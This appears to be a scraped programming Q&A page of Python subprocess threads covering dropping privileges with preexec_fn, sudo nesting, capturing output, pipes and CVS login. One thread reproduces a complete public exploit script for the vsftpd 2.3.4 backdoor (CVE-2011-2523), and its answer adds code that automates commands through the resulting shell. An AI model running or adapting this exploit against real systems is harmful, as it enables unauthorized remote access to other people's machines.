python subprocess popen execute as different user - python

I am trying to execute a command in python 3.6 as a different user with popen from subprocess but it will still execute as the user who called the script (i plan to call it as root). I am using threads and therefore it is important that i don't violate the user rights when 2 threads execute in parallel.
proc = subprocess.Popen(['echo $USER; touch myFile.txt'],
shell=True,
env={'FOO':'bar', 'USER':'www-data'},
stdout=subprocess.PIPE)
The example above will still create the myFile.txt with my user_id 1000
I tried different approaches :
tried with as described in Run child processes as different user from a long running Python process by copying the os.environment and changed the user, etc (note this is for python 2)
tried with as described in https://docs.python.org/3.6/library/subprocess.html#popen-constructor by using start_new_session=True
My Last option is to prefix the command with sudo -u username command but i don't think this is the elegant way.

The standard way [POSIX only] would be to use preexec_fn to set gid and uid as described in more detail in this answer
Something like this should do the trick -- for completeness I've also modified your initial snippet to include the other environment variables you'd likely want to set, but just setting preexec_fn should be sufficient for the simple command you are running:
import os, pwd, subprocess
def demote(user_uid, user_gid):
def result():
os.setgid(user_gid)
os.setuid(user_uid)
return result
def exec_cmd(username):
# get user info from username
pw_record = pwd.getpwnam(username)
homedir = pw_record.pw_dir
user_uid = pw_record.pw_uid
user_gid = pw_record.pw_gid
env = os.environ.copy()
env.update({'HOME': homedir, 'LOGNAME': username, 'PWD': os.getcwd(), 'FOO': 'bar', 'USER': username})
# execute the command
proc = subprocess.Popen(['echo $USER; touch myFile.txt'],
shell=True,
env=env,
preexec_fn=demote(user_uid, user_gid),
stdout=subprocess.PIPE)
proc.wait()
exec_cmd('www-data')
Note that you'll also need to be sure the current working directory is accessible (e.g. for writing) by the demoted user since not overriding it explicitly

Related

How to interact with a reverse shell given by a script in python?

I would like to "automate" a reverse shell given by a script. Let me explain:
Contexte: There is a backdoor on a vulnerable machine.
What am I doing: I create a subprocess which executes a script (python, perl, ...) and which gives me a reverse shell.
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
What I would like to do: Along with running my script <=> running my reverse shell, I would like to be able to interact with it, using methods.
Today, I am able to write manually in the terminal of my reverse shell: the script that I call with Popen runs and uses the backdoor. This gives me a reverse shell and I can type my commands.
Tomorrow, I would like to be able to call methods during the execution of this reverse shell: I run a script with Popen, it exploits the backdoor and gives me a shell. And rather than typing commands manually, I would like that automatically, a whole series of commands be sent to this reverse shell, and that for each one of them, I be able to recover the returned data.
Ideally, I would like something like that:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
What I tried to do without success: I tried with the Popen class of the subprocess module, to redirect the input and / or the output of the script
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
However, when trying to redirect these two streams (or just one of them), my reverse shell closes as quickly as it opened.
I also tried to put my commands directly on the communicate() method:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
I tried this with and without redirection of input and / or output, but nothing worked.
Finally, I tried to use the pexpect module to run my script to get a reverse shell, but I didn't have anything conclusive (maybe I did it wrong).
PS: I cannot change the code of the script that allows me to use the backdoor.
backdoor.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
This should work for the single command after a \n is appended and if the -u (unbuffered) option is used. Of course something has to be done with the return value in order to get the command output:
output = Popen(["python", "-u", "/opt/exploits/backdoor.py", remote_ip],
stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami\n")
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
Provided that
backdoor = Popen(["python", "-u", "backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE)
we can send a command (if you don't want to exit thereafter) with e. g.
backdoor.stdin.write(b"whoami\n")
and get the result of indetermined length with
import select
import os
timeout = 1
while select.select([backdoor.stdout], [], [], timeout)[0]:
print(os.read(backdoor.stdout.fileno(), 4096).decode())

sudo/suid non-root nesting fails

I have a python script (which must be called as root), which calls a bash script (which must be called as non-root), which sometimes needs to call sudo. This does not work - the "leaf" sudo calls give the message "$user is not in the sudoers file. This incident will be reported." How can I make this work?
The code (insert your non-root username in place of "your_username_here"):
tezt.py:
#!/usr/bin/python3
import os
import pwd
import subprocess
def run_subshell_as_user(cmd_args, user_name=None, **kwargs):
cwd = os.getcwd()
user_obj = pwd.getpwnam(user_name)
# Set up the child process environment
new_env = os.environ.copy()
new_env["PWD"] = cwd
if user_name is not None:
new_env["HOME"] = user_obj.pw_dir
new_env["LOGNAME"] = user_name
new_env["USER"] = user_name
# This function is run after the fork and before the exec in the child
def suid_func():
os.setgid(user_obj.pw_gid)
os.setuid(user_obj.pw_uid)
return subprocess.Popen(
cmd_args,
preexec_fn=suid_func,
cwd=cwd,
env=new_env,
**kwargs).wait() == 0
run_subshell_as_user(["./tezt"], "your_username_here") # <-- HERE
tezt:
#!/bin/bash
sudo ls -la /root
Then run it as:
sudo ./tezt.py
Does anyone know why this doesn't work? The user can run sudo under normal circumstances. Why does "user -sudo-> root -suid-> user" work fine, but then when you try to sudo from there it fails?
I'd suggest using sudo to drop privileges rather than doing so yourself -- that's a bit more thorough where possible, modifying effective as opposed to only real uid and gid. (To modify the full set yourself, you might try changing setuid() to setreuid(), and likewise setgid() to setregid()).
...this would mean passing something to Popen akin to the following:
["sudo", "-u", "your_username_here", "--"] + cmd_args

How to check whether a shell command returned nothing or something

I am writing a script to extract something from a specified path. I am returning those values into a variable. How can i check whether the shell command has returned something or nothing.
My Code:
def any_HE():
global config, logger, status, file_size
config = ConfigParser.RawConfigParser()
config.read('config2.cfg')
for section in sorted(config.sections(), key=str.lower):
components = dict() #start with empty dictionary for each section
#Retrieving the username and password from config for each section
if not config.has_option(section, 'server.user_name'):
continue
env.user = config.get(section, 'server.user_name')
env.password = config.get(section, 'server.password')
host = config.get(section, 'server.ip')
print "Trying to connect to {} server.....".format(section)
with settings(hide('warnings', 'running', 'stdout', 'stderr'),warn_only=True, host_string=host):
try:
files = run('ls -ltr /opt/nds')
if files!=0:
print '{}--Something'.format(section)
else:
print '{} --Nothing'.format(section)
except Exception as e:
print e
I tried checking 1 or 0 and True or false but nothing seems to be working. In some servers, the path '/opt/nds/' does not exist. So in that case, nothing will be there on files. I wanted to differentiate between something returned to files and nothing returned to files.
First, you're hiding stdout.
If you get rid of that you'll get a string with the outcome of the command on the remote host. You can then split it by os.linesep (assuming same platform), but you should also take care of other things like SSH banners and colours from the retrieved outcome.
As perror commented already, the python subprocess module offers the right tools.
https://docs.python.org/2/library/subprocess.html
For your specific problem you can use the check_output function.
The documentation gives the following example:
import subprocess
subprocess.check_output(["echo", "Hello World!"])
gives "Hello World"
plumbum is a great library for running shell commands from a python script. E.g.:
from plumbum.local import ls
from plumbum import ProcessExecutionError
cmd = ls['-ltr']['/opt/nds'] # construct the command
try:
files = cmd().splitlines() # run the command
if ...:
print ...:
except ProcessExecutionError:
# command exited with a non-zero status code
...
On top of this basic usage (and unlike the subprocess module), it also supports things like output redirection and command pipelining, and more, with easy, intuitive syntax (by overloading python operators, such as '|' for piping).
In order to get more control of the process you run, you need to use the subprocess module.
Here is an example of code:
import subprocess
task = subprocess.Popen(['ls', '-ltr', '/opt/nds'], stdout=subprocess.PIPE)
print task.communicate()

How to redirect print and stdout to a pipe and read it from parent process?

If possible I would like to not use subProcess.popen. The reason I want to capture the stdout of the process started by the child is because I need to save the output of the child in a variable to display it back later. However I have yet to find a way to do so anywhere. I also need to activate multiple programs without necessarily closing the one that's active. I also need to be controlling the child process whit the parent process.
I'm launching a subprocess like this
listProgram = ["./perroquet.py"]
listOutput = ["","",""]
tubePerroquet = os.pipe()
pipeMain = os.pipe()
pipeAge = os.pipe()
pipeSavoir = os.pipe()
pid = os.fork()
process = 1
if pid == 0:
os.close(pipePerroquet[1])
os.dup2(pipePerroquet[0],0)
sys.stdout = os.fdopen(tubeMain[1], 'w')
os.execvp("./perroquet.py", listProgram)
Now as you can see I'm launching the program with os.execvp and using os.dup2() to redirect the stdout of the child. However I'm not sure of what I've done in the code and want to know of the correct way to redirect stdout with os.dup2 and then be able to read it in the parent process.
Thank you for your help.
I cannot understand why you do not want to use the excellent subprocess module that could save you a lot of boiler plate code (and as much error possibilities ...). Anyway, I assume perroquet.py is a python script, not an executable progam. Shell know how to find the correct interpretor for scripts, but exec family are low-level functions that expect a real executable program.
You should at least have something like :
listProgram = [ "python", "./perroquet.py","",""]
...
os.execvp("python", listProgram)
But I'd rather use :
prog = subprocess.Popen(("python", "./perroquet.py", "", ""), stdout = PIPE)
or even as you are already in python import it and directly call the functions from there.
EDIT :
It looks thart what you really want is :
user gives you a command (can be almost anything)
[ you validate that the command is safe ] - unsure if you intend to do it but you should ...
you make the shell execute the command and get its output - you may want to read stderr too and control exit code
You should try something like
while True:
cmd = raw_input("commande :") # input with Python 3
if cmd.strip().lower() == exit: break
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
out, err = proc.communicate()
code = proc.returncode
print("OUT", out, "ERR", err, "CODE", code)
It is absolutely unsafe, since this code executes any command as the underlying shell would do (include rm -rf *, rd /s/q ., ...), but it gives you the output, the output and the return code of the command, and it can be used is a loop. The only limitation is that as you use a different shell for each command, you cannot use commands that change shell environment - they will be executed but will have no effect.
Here's a solution if you need to extract any changes to the environment
from subprocess import Popen, PIPE
import os
def execute_and_get_env(cmd, initial_env=None):
if initial_env is None:
initial_env = os.environ
r_fd, w_fd = os.pipe()
write_env = "; env >&{}".format(w_fd)
p = Popen(cmd + write_env, shell=True, env=initial_env, pass_fds=[w_fd], stdout=PIPE, stderr=PIPE)
output, error = p.communicate()
# this will cause problems if the environment gets very large as
# writing to the pipe will hang because it gets full and we only
# read from the pipe when the process is over
os.close(w_fd)
with open(r_fd) as f:
env = dict(line[:-1].split("=", 1) for line in f)
return output, error, env
export_cmd = "export my_var='hello world'"
echo_cmd = "echo $my_var"
out, err, env = execute_and_get_env(export_cmd)
out, err, env = execute_and_get_env(echo_cmd, env)
print(out)

Spawn subprocess that expects console input without blocking?

I am trying to do a CVS login from Python by calling the cvs.exe process.
When calling cvs.exe by hand, it prints a message to the console and then waits for the user to input the password.
When calling it with subprocess.Popen, I've noticed that the call blocks. The code is
subprocess.Popen(cvscmd, shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE,
stderr = subprocess.PIPE)
I assume that it blocks because it's waiting for input, but my expectation was that calling Popen would return immediately and then I could call subprocess.communicate() to input the actual password. How can I achieve this behaviour and avoid blocking on Popen?
OS: Windows XP
Python: 2.6
cvs.exe: 1.11
Remove the shell=True part. Your shell has nothing to do with it. Using shell=True is a common cause of trouble.
Use a list of parameters for cmd.
Example:
cmd = ['cvs',
'-d:pserver:anonymous#bayonne.cvs.sourceforge.net:/cvsroot/bayonne',
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
This won't block on my system (my script continues executing).
However since cvs reads the password directly from the terminal (not from standard input or output) you can't just write the password to the subprocess' stdin.
What you could do is pass the password as part of the CVSROOT specification instead, like this:
:pserver:<user>[:<passwd>]#<server>:/<path>
I.e. a function to login to a sourceforge project:
import subprocess
def login_to_sourceforge_cvs(project, username='anonymous', password=''):
host = '%s.cvs.sourceforge.net' % project
path = '/cvsroot/%s' % project
cmd = ['cvs',
'-d:pserver:%s:%s#%s:%s' % (username, password, host, path),
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE,
stdout=subprocess.PIPE
stderr=subprocess.STDOUT)
return p
This works for me. Calling
login_to_sourceforge_cvs('bayonne')
Will log in anonymously to the bayonne project's cvs.
If you are automating external programs that need input - like password - your best bet would probably be to use pexpect.

Categories